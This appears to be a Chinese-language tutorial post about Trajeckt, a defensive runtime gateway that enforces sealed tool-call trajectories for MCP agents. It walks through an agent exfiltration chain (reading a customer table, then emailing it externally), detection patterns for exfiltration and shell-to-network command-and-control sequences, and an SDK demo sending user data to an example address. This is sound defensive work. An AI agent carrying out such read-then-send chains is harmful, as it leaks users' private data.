Trajeckt 场景实战:当 AI Agent 的多步工具调用变成数据泄露通道
问题的起点
想象一个真实场景:你给 AI Agent 配置了访问数据库和发送邮件的权限。单看每个权限——读数据库是合法的,发邮件也是合法的。但 Agent 先读取了用户信息表,然后通过邮件发送出去——这就是一次完整的数据泄露。
传统的安全工具会检查每次工具调用是否合法,发现「读数据库」允许、「发邮件」也允许——两者单独看都没问题。问题出在顺序和组合上:孤立检查每个动作无法发现多步调用中的数据泄露路径。这个安全盲区是所有 tool-calling Agent 的共同隐患。
6 月 29 日,Hacker News 上发布了一个名为 Trajeckt 的开源项目,专门解决这个问题。它的核心理念很简单:不是在 Agent 运行时拦截单个工具调用,而是在 Agent 运行前声明允许的「行为轨迹」,然后在整个会话中强制执行这个轨迹。
问题对比:为什么每个动作都检查还不够
| 维度 | 传统检查(单步) | Trajeckt(轨迹级) |
|---|---|---|
| 检查粒度 | 每个工具调用独立评估 | 整个调用序列跨步骤追踪 |
| 数据流感知 | 无—不知道数据从哪个工具流向哪个工具 | 有—追踪敏感数据是否到达禁止出口 |
| 多步泄露检测 | ❌ 无法检测「读取→传输」链 | ✅ 检测并阻断「敏感读取→外部写入」路径 |
| 绕过难度 | 低—只需让每一步看起来合法 | 高—需要伪造完整的因果轨迹 |
| 延迟开销 | 无(直接转发) | ~1.6ms 每次工具调用 |
快速上手:体验核心能力
Trajeckt 提供了最简洁的入门方式——一个 Docker Compose 命令就能启动完整的 enforcement 环境:
git clone https://github.com/beebeeVB/trajeckt cd trajeckt docker-compose up --build
首次构建需要几分钟(编译 Rust 代码),之后启动只需数秒。启动后验证:
curl -s http://localhost:7777/healthz | jq
你应该看到类似输出:
{
"status": "ok",
"auto_commitment": true,
"commitment_capable": true
}
然后将任意 MCP 协议的 Agent 指向 http://localhost:7777 即可开始使用。
如果不方便跑 Docker,一行命令即可体验核心逻辑:
cargo run --example demo
这个示例会运行两次——一次无防护(三步工具调用全部通过,数据泄露成功),一次有 Trajeckt 防护(第三步被拦截,返回 BLOCK 并附带原因)。
核心概念:密封承诺(Sealed Commitment)
Trajeckt 的核心创新是密封承诺(Sealed Commitment) 机制。在 Agent 执行任何工具调用之前,需要先声明并密封一个经过签名的执行轨迹图(CompiledGraph Gτ)。这个图精确规定了:
- 哪些工具可以在什么顺序下调用
- 数据可以流向哪些目标
- 每个阶段允许的最大调用次数和预算
一旦密封,这个图就成了会话中的最高权威。每次工具调用都会被检查是否在密封图的当前可达边界内——不在图中的操作被硬拒绝(hard-refused),没有安装图的会话也被硬拒绝,不会自动降级到启发式模式。
默认配置下,Trajeckt 实现「零配置承诺模式」(auto_commitment=on):在 tools/list 握手阶段自动从声明工具集生成密封图,无需手动编写策略文件。
Trajektoryd (J_t 因果执行引擎)
─────────────────────────────────
Agent: read_database → ALLOW [图中允许读取]
Agent: summarize → ALLOW [图中允许汇总]
Agent: send_email_external → BLOCK [J_t 因果路径检测]
d_customer_records → summarize → d_summary → external_sink
原因:敏感数据抵达禁止出口
安全兜底:启发式序列检测
对于需要灵活性的场景,Trajeckt 也提供了启发式安全网(通过 allow_uncommitted: true 启用),但需要在启动时显式确认——见 WARN 日志。此模式下它会检测已知的危险序列模式:
- 数据泄露链:
敏感读 → 外部写序列在同一会话中 - 命令与控制链:
ShellExec → 网络出口序列在同一会话中
部署选项
Trajeckt 支持多种部署方式:
docker-compose up
cargo build --release
./target/release/trajectoryd up --upstream http://your-mcp-server
./target/release/trajectoryd up \
--upstream http://your-mcp-server \
--policy configs/trajectory-policy.yaml.example
Python SDK 目前支持从源码构建(cd sdk-python && maturin develop),后续将发布到 PyPI:
import asyncio
import trajeckt
async def main():
client = trajeckt.TrajecktClient.from_env()
session = await client.session()
await session.record_instruction(
"You are a helpful assistant. Do not exfiltrate user data.",
source="operator",
)
data = await session.call_tool("read_database", {"query": "users"})
await session.call_tool(
"send_email",
{"to": "external@example.com", "body": data},
) # 这里会抛出 BlockedError
asyncio.run(main())
Trajeckt 能捕获什么
密封承诺模式下(默认):
- 计划外工具调用——不在密封图当前边界内的工具被硬拒绝
- 数据泄露到未授权目标——数据流向不在声明范围内的目的地被阻断
- 因果结构偏离声明意图——实际调用 DAG 不匹配密封图
- 高风险动作缺乏可信指令来源——工具调用链未追溯到可信指令
启发式安全网模式(显式 opt-in):
- 敏感读取→外部写入的数据泄露链
- Shell 执行→网络出口的命令与控制链
不能做什么
Trajeckt 检查的是行为的结构,不是内容的意义。一个提示注入指令编码在自然语言字符串里,Trajeckt 无法检测。它是对传统 allow/deny 列表、参数校验和 RBAC 的补充,而非替代。
对比同类方案
| 特性 | Trajeckt | 传统策略引擎 | Cerberus |
|---|---|---|---|
| 因果轨迹追踪 | ✅ 密封图 + HMAC 签名 | ❌ 逐调用检查 | ❌ 四信号引擎 |
| 部署方式 | MCP 网关 / SDK | 内联集成 | npm 插件 |
| 默认安全 | 无图则拒绝所有 | 无规则则放行所有 | 无配置则仅基础扫描 |
| 性能开销 | ~1.6ms | 0 | < 5ms |
| 许可证 | Apache-2.0 | 专有 | Apache-2.0 |
注意事项
- 运行环境:Docker 或 Rust 编译环境是当前推荐部署方式,需要基本的容器/编译知识
- 协议支持:目前实现 MCP Streamable HTTP Transport(2025-11-25 规范)的非流式配置
- 基准测试:Trajeckt 在 ClawTrojan 安全基准的 cs_delay_002 模式上通过了端到端测试,更多轨迹模式正在验证中
- 适用范围:适合使用 MCP 协议的 Agent 生态(Claude Code、Codex、Cline 等),不适合非 MCP 协议的自定义 Agent
总结
Trajeckt 解决了一个被行业忽视的安全问题:AI Agent 的多步工具调用组合可能构成泄露路径,而逐调用的安全检查无法发现它。通过密封承诺图和因果轨迹强制执行,它在 ~1.6ms 的开销下为 MCP 协议 Agent 提供了结构级的运行时安全。
对于在生产环境中运行 AI Agent 的团队,尤其是在处理敏感数据时,Trajeckt 值得加入安全栈——它不是替换现有的权限控制,而是填补了「整体行为合法性」这个关键空白。